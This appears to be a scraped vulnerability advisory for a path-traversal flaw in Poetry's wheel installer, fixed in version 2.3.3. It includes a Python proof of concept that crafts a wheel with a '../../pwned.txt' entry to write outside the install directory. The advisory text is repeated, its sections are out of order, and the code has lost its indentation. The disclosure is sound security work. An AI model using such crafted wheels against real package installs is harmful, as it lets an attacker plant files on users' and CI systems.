A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. This is high severity because it is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.)
Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.
Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.
Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:
No resolve() + is_relative_to() style guard is enforced before writing.
from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination
root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
d.mkdir(parents=True, exist_ok=True)
files = {
"evil/__init__.py": b"",
"../../pwned.txt": b"owned\n",
"evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
"evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()
with zipfile.ZipFile(wheel, "w") as z:
for k,v in files.items(): z.writestr(k,v)
dest = WheelDestination(
{"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
install(src, dest, {"INSTALLER": b"PoC"})
out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)
Summary
A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. This is high severity because it is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.)
Impact
Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.
Patches
Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.
Details
Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:
src/poetry/installation/wheel_installer.py:47
src/poetry/installation/wheel_installer.py:59
The vulnerable sink is reachable in normal installation:
src/poetry/installation/executor.py:607
No resolve() + is_relative_to() style guard is enforced before writing.
POC